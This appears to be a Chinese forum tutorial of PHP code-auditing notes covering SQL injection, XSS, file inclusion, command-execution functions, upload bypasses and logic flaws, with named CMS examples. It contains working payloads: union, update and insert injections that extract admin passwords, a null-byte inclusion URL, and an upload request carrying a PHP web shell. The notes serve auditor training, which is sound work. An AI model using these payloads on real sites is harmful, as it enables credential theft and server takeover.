php代碼審計基礎筆記

出處: 九零SEC
鏈接:
http://forum.90sec.org/forum.php?mod=viewthread&tid=8059

----------------------------------------------------------
team:xdsec&90sec
author:wilson
blog:http://blog.wils0n.cn/
文章連接:wilson's blog_php代碼審計基礎筆記[求人氣~~]
-------------------------------------------------------------
0x01 前言
javascript

這陣子在學php代碼審計,算是一個筆記。留着之後看。
php代碼審計須要比較強的代碼能力以及足夠的耐心.....
至於如何學好php代碼審計?去膜拜p神吧....
看着p神的文章,學審計......  許多東西都是複製p神~


文章寫給像我同樣剛剛開始審計的小菜鳥~,有錯歡迎指出~
求勿噴........... 繼續學審計中........
+++++++++++++++++++++++++++++++++++++++++++++
0x02 審計前奏
一)關注變量+函數
1.能夠控制的變量【一切輸入都是有害的 】
2.變量到達有利用價值的函數[危險函數] 【一切進入函數的變量是有害的】
                                                                    ------來源t00ls
客戶端提交變量:
$_GET:http://localhost/mm.php?a=xxxxx
$_POST:
$_COOKIE:
    記錄在咱們本地瀏覽器中的變量,是可控的。PHP中還有一個變量$_SESSION。
    每一個人訪問網站,他的phpsessid都是不同的,這個值就用來區分每一個用戶。服務器用PHPSESSID=cmebf7jkflu5a31vf67kbiopk4來標示每一個用戶,是否登陸或者是不是管理員。
$_FILES:
    可能產生的漏洞類型:
    01.上傳漏洞,上傳一個php木馬,至關於直接getshell了
    02.注入,有些cms會把name的值保存在數據庫裏,但又沒有對name進行過濾
$_SERVER:其中部分咱們能夠控制。
    X-FORWARDED-FOR:IP地址,不少cms取ip是首先取這個變量中的值,若是
    沒有這個變量,纔去取咱們的真實Ip.
    Referer:來源地址,咱們訪問目標頁面的來源
    Host:目標網址這幾個變量就是咱們php中間用戶能夠控制的變量。
    大部分的漏洞都是 從這幾個變量開始展開的。

$_REQUEST 就是$GET/$_POST/$COOKIE

要是使用了xxx框架的話,如何找到這些變量呢?
Mvc框架比較流行了
因此我去了解了一下thinkphp的mvc框架[ http://blog.wils0n.cn/?id=14]
--------------------------------------------------------------------
二)關注什麼樣的漏洞
1.Sql注入
2.文件操做[上傳/寫入/讀取/刪除]
3.文件包含
4.命令執行
5.Xss
6.Cookie欺騙
7.邏輯出錯
........等等
每種漏洞有對應找漏洞的方法,每每先找getshell的方法[1,2,3,4這三中漏洞是常見的getshell方法咱們要多多關注這個]而邏輯出錯也是很要命的。。。。 - -
因此咱們要認識清楚漏洞原理,積累cms常出漏洞,積累找這種漏洞的技巧.....
--------------------------------------------------------------------

三)本地搭建環境測試
1.黑盒加白盒
不得不說黑盒的重要性!
Burp常開對你只要沒有壞處!

2.大致看看文件的目錄

3.cms安裝到本地,大概瞭解功能,好比有註冊會員功能的cms,我就註冊一個會員,好比有搜索框,我就會搜索一下,大概查看一下搜索出來的內容,[恩 由於字符型都進行了轉換 @ _@ 因此搜索型的很重要,有哪些數據提交點、可否留言等等] 摘自p神

技巧:最好可見在本地測試時候講你的輸入點打印出來
我會將用戶的輸入數據進行var_dump,重要的是對最終的sql語句進行var_dump,這和給你省去不少力氣!咱們只要var_dump($sql)而後再能夠去黑盒測試,[好比搜索框,用戶登入,文件上傳名稱等等]。
我審計了一個cms就是這樣的,結果黑盒就發現登入處有注入,真的去審計還花了很多力氣去讀源碼,而且學會了一個thinkphp的執行sql特色.
+++++++++++++++++++++++++++++++++++++++++++++++++++++
四)審計各類不一樣漏洞技巧
1.Sql注入審計技巧
sql注入是咱們審計比較重視的漏洞之一

0x01 漏洞原理
因此如今不少cms都對注入進行了必定的過濾,通常有兩種過濾方法:
01.對於數字型的輸入,直接使用intval($_GET[id]),強制轉換成整數,這種過濾是毫無辦法的。
$ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : '';
要是沒有intval($_GET[id]) 那就呵呵了。//有一個屌絲cms就是這樣......
ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,(select%20concat(admin_name,0x23,email,0x23,pwd)%20from%20blue_admin)
02.有些輸入是字符型的,不可能轉換成數字。這個使用就使用addslashes對輸入進行轉義。
aaa’aa ==> aaa\’aa
aaa\aa ==> aaa\\aa
SELECT * FROM post WHERE id=’aaa\’ union select pwd from admin limit 0,1#

--------------------------------
0x02 漏洞發生
php

要是過濾不是上面這幾中,而是黑名單,或者你欠日什麼都沒有過濾的話,那麼不少狀況下是能夠注入的。因此cms隨着漏洞的爆出,慢慢的這樣的狀況幾乎都沒有了


那麼問題來了,在上面這種狀況漏洞怎麼出現?[藍翔.....]
html

漏洞(一)ip沒過濾直接進到sql語句
函數講解:
getenv : 這個函數是得到環境變量的函數,也能夠用來得到$_SERVER數組的信息。
getenv('HTTP_X_FORWARDED_FOR') --> $_SERVER[HTTP_X_FORWARDED_FOR]
固然http頭還有referer 這也是能夠假裝的,要是沒有過濾好也會產生會注入問題


漏洞(二)寬字節注入 [對字符]
若是發現 cms是GBK 只有看看 能不能寬字節注入
Sqlmap 的unmagicquotes.py 能夠進行寬字測試


下面摘自p神寫的: 淺析白盒審計中的字符編碼及SQL注射.pdf
解決寬字節注入辦法:
mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);
到這裏就通常高枕無憂了.....
可是 要是多此一舉得使用iconv就可能出現問題了
有些cms:
會加上下面語句避免亂碼
iconv('utf-8', 'gbk', $_GET['word']);
將傳入的word有utf-8轉成gbk.....
發現錦的utf-8 編碼是0xe98ca6,而的gbk 編碼是0xe55c
咱們輸入錦' -->%e5%5c%27【%5c就是\】
在通過轉移------>%e5%5c%5c%27【5c%5c就是\\】這樣咱們就有能夠開心的注入了....
漏洞(三)sql二次注入
例如:p神的HDWiki二次注入

漏洞(四)文件名注入
由於$_FILE,$_SERVER不受gpc影響,那麼可能形成注入.......
有些cms會把name的值保存在數據庫裏,但又沒有對name進行過濾。
例如:p神的emlog後臺注入(須要做者權限便可)
還有Thinksaas最新版注入無視GPC
--------------------------------
0x03 注入類型
1.Selcet 注入 這個常見就不說了
通常就是聯查,要是報錯開啓也能夠報錯注入

2.Update 注入
p神作了一個教程關於bluecms這cms漏洞:
Get_ip() 直接用了X-FORWARDED-FOR
$sql = "UPDATE blue_user SET last_login_time = '$last_login_time', last_login_ip = ' 可控位置' WHERE user_id='$_SESSION[user_id]'";
UPDATE blue_user SET last_login_time = '1394368489', last_login_ip = '8.8.8.8',address=(select concat(admin_name,0x23,email,0x23,pwd) from blue_admin limit 0,1), qq=' ' WHERE user_id='2'
//addrress是前臺可見的,並且長度夠大
//p神說.....
碰到update語句中含有注入的狀況,咱們怎麼處理?
01.跟我剛纔同樣,把某個能夠看到的信息給更新成管理員密碼,這樣就得到了密碼
02. 報錯注入,使用某一特定的報錯語句,讓sql語句在執行中出錯,能爆出管理員帳號密碼。可是有個條件,就是在執行sql語句的時候調用了 mysql_error函數,不然不會顯示報錯信息。好比bluecms就沒有調用mysql_error,因此不能使用這個方法。

3.Insert 注入
引用了音符牛的一個文章
音符的XD某套系統的代碼審計第二彈:insert注入
//字符串徹底沒過濾,gpc爲關閉
function guest_add()//添加留言
{
global $bqz,$lang;
$exec="insert into ".$bqz."guest (title,name,email,ip,content,times) values ('".$_POST."','".$_POST."','".$_POST."','".$_SERVER."','".$_POST."','".time()."')";
mysql_query($exec)||die(mysqli_error());
echo "<script>alert('".$lang."');window.location.href='http://bbs.xdsec.org/?/guest.php';</script>";
}
$exec="insert into ".$bqz."guest (title,name,email,ip,content,times) values ('".$_POST."','".$_POST."','".$_POST."','".$_SERVER."','".$_POST."','".time()."')";
//沒有過濾就將數據放入guest表中,guest表的內容前臺可見。

 

payload:標題123','1','haha','1.1.1.1',(select concat(admin_name,0x23,admin_password) from xxx_admin limit 0,1),'1314205172')#
其餘的隨便填。
則執行:
insert into xdxx_guest (title,name,email,ip,content,times) values ('123','1','haha','1.1.1.1',(select concat(admin_name,0x23,admin_password) from xdxx_admin limit 0,1),'1314205172')#','time()')
由於前臺能夠看到的只有name跟content,而name要用來閉合前面的單引號,因此用content字段來保存管理員的帳號密碼。

 

0x04技巧
技巧:最好可見在本地測試時候講你的輸入點打印出來
我會將用戶的輸入數據進行var_dump
重要的是對最終的sql語句進行var_dump,這和給你省去不少力氣!咱們只要var_dump($sql)而後再能夠去黑盒測試,[好比搜索框,用戶登入,文件上傳名稱等等]
so,仍是這技巧點

=====================================================
java

2.xss審計技巧
Xss最多見就在留言板地方了!
1.先能夠黑盒:
咱們能夠對fuzz,加載你的xss,payload都試試。[能夠積累你的xsspayload]
而後去管理後臺看看。有沒有執行xss成功
學習xss:
心傷的瘦子專輯.......


2.看代碼看看如何過濾了,再看看能不能繞過。
這就要靠你的本領了
可是如今可多就都過濾了
用了htmlspecialchars進行過濾, = =


一個tip:
很多cms會對留言者的ip進行記錄。
而他們用一個具備漏洞的函數,
/**
     *
獲取客戶端
IP
地址
     */
    public static function getip() {
        $onlineip = '';
        if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
            $onlineip = getenv('HTTP_CLIENT_IP');
        } elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
            $onlineip = getenv('HTTP_X_FORWARDED_FOR');
        } elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
            $onlineip = getenv('REMOTE_ADDR');
        } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
            $onlineip = $_SERVER['REMOTE_ADDR'];
        }
        return $onlineip;
  
}
當HTTP_X_FORWARDED_FOR存在時獲取的IP就是它,可是HTTP_X_FORWARDED_FOR是能夠僞造的
可是存ip的字段,有是比較小的。咱們去看看p神如何繞過
我只能說,吊死了  = =
請收下個人膝蓋......

 

3.Xss利用
如今應該大多都是x管理員的cookie吧。
再次膜拜一下p神的審計能力,xss的做用能夠getshell的
咱們能夠利用js來發送post包,利用管理員權限去獲得getshell


$.ajax({ "url": "網址", "type": "POST","data":"POST的內容" })
mysql

我也是剛剛知道這個知識 搞定一個cms.......
=====================================================
3.文件包含漏洞審計技巧
文件包含漏洞
看音符大牛的文章
1.截斷技巧
%00和230個/
2.遠程包含
allow_url_fopen = On而且allow_url_include = On時,則能夠包含遠程文件
3.一個出問題的cms
Yxcms給音符牛日穿了
payload: http://test.com/cms//YXcmsApp1.2.3/index.php?r=..\..\upload\member\image\20140504\thumb_1399213415.jpg%00


=====================================================

4.命令執行審計技巧
web

沒有什麼技巧
0x01 搜索能夠執行php代碼的函數
Eval,assert....
0x02 搜索能夠執行系統命令的函數
system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(<strong>反單引號</strong>)....


=====================================================
5.文件操做審計技巧
    5.1 .兩個小知識,一個tip
    1.
        $_FILES["file"]["name"] - 被上傳文件的名稱
        $_FILES["file"]["type"] - 被上傳文件的類型
        $_FILES["file"]["size"] - 被上傳文件的大小,以字節計
        $_FILES["file"]["tmp_name"] - 存儲在服務器的文件的臨時副本的名稱
        $_FILES["file"]["error"] - 由文件上傳致使的錯誤代碼
    2.
        文件上傳的過程:
        01.用戶選擇文件,點擊上傳
        02.服務器接收到文件,而後將文件保存在臨時目錄內
        03.php對文件類型、後綴等內容檢查,檢查經過後移動到web目錄下


    tip:
    將var_dump($FILE[]);
    而後試試黑盒審計吧
    注意一點 若是文件名進入數據庫也有可能形成注入的。
    由於$_FILE不受gpc影響[以前也提過了]


--------------
ajax

5.2文件上傳漏洞    來自[+]上傳攻擊總結.pdf[這極好的文章]
sql

    1.javascript上傳檢測
    ....直接無視
    用burp改一下就行了
    2.mime上傳文件類型
    例如:BlueCMS(地方分類信息門戶專用CMS系統)
    include/upload.class.php發現,只是檢測了文件頭,沒有檢測後綴.
class upload {
    private $allow_image_type = array('image/jpg', 'image/gif', 'image/png', 'image/pjpeg');
......
    function img_upload($file, $dir = '', $imgname = ''){
        if(empty($dir)){
            $dir = BLUE_ROOT.DATA.UPLOAD.date("Ym")."/";
        }else{
            $dir = BLUE_ROOT.DATA.UPLOAD.$dir."/";
        }
   
        if(!file_exists($dir)){
            if(!mkdir($dir)){
                showmsg('上傳過程當中建立目錄失敗');
            }
        }
        if(empty($imgname)){
            $imgname = $this->create_tempname().$this->get_type($file['name']);
        }
        $imgname = $dir . $imgname;
        if(!in_array($file['type'],$this->allow_image_type)){
             //只是檢測了文件頭部來着,那咱們就直接構造一個SHELL就行了
            showmsg('不容許的圖片類型');
        }
}

Payload:
            而後咱們能夠將request 包的Content-Type 修改
            POST /upload.php HTTP/1.1
            TE: deflate,gzip;q=0.3
            Connection: TE, close
            Host: localhost
            User-Agent: libwww-perl/5.803
            Content-Type: multipart/form-data; boundary=xYzZY
            Content-Length: 155
            --xYzZY
            Content-Disposition: form-data; name="userfile"; filename="shell.php"
            Content-Type: image/gif (原爲Content-Type: text/plain)//$_FILES["file"]["type"]
            <?php system($_GET['command']);?>
            --xYzZY--
thinkphp

 3.服務器檢測繞過(目錄路徑檢測)
            Filename 能夠控制,直接進行%00截斷看看能不能搞定

     4.文件名檢測
            下面就是去檢測:$_FILES["file"]["name"]
            再次注意:若是文件名進入數據庫也有可能形成注入的。
shell

            1)黑名單上傳

 

            各類測試 這裏咱們看代碼就能夠了。

 

            咱們能夠看看能不能

 

            1.大小寫繞過

 

            2.黑名單外的危險腳本[htaccess 文件攻擊]

 

            3.解析漏洞結合

 

            4.利用windows特性繞過

 

            雨牛的文章: https://forum.90sec.org/forum.php?mod=viewthread&tid=7806

 

            phpdisk使用了黑名單

 

            能夠用加空格來繞過

 

            另外大牛又給出了

 

            提交.php::$data 這樣就不會匹配到黑名單中了。 這種想法,感受本身有學習了....


            2)白名單上傳

 

            1. 0x00 截斷繞過

 

            用像test.asp%00.jpg 的方式進行截斷,屬於白名單文件,再利用服務端代碼的檢測邏輯

 

            漏洞進行攻擊,目前我只遇到過asp 的程序有這種漏洞

 

            2. 解析調用/漏洞繞過

 

            這類漏洞直接配合上傳一個代碼注入過的白名單文件便可,再利用解析調用/漏洞

        
    5.文件上傳邏輯漏洞
            http://www.leavesongs.com/PENETRATION/after-phpcms-upload-vul.html
            不得不又一次膜拜p神......
            文件上傳,支持zip上傳,可是這個phpcms沒有對子目錄下的文件,進行驗證。致使getshell
            並且有了一個競爭上傳的概念。。。。
            文件是先在服務器存在了,而後再驗證文件名的可靠性。不合法就刪除。那就出現問題了,在存在時候,咱們能夠一整去訪問這個php,而這個php的功能就是寫馬。這樣就能夠成功getshell了。。。。

5.4.文件下載

 

        求補充

 

5.3 文件寫入。文件刪除

 

        求補充


=====================================================

 

6.邏輯出錯審計技巧


不少程序有邏輯出錯的狀況.....

 

1.程序沒有及時結束[die]

 

 

Ducms就是/install/install.php

 

沒有及時結束

 

給p神 利用一個外鏈的mysql 繞過限制 加入一個admin帳戶。。。


 

還有一個直接寫入配置文件的StartBBS重安裝getshell也是由於這個緣由

 

除了安裝可能出現這種狀況

 

Admin目錄下也可能這樣

 

斷定不是admin就跳轉,可是php代碼是繼續執行沒有及時結束的


2.admin登入口檢查有問題

 

認證太奇葩...


3.找回密碼可能出現漏洞

 

4.驗證碼重用,形成爆破

 

漏洞類型還要不少.....
相關文章
相關標籤/搜索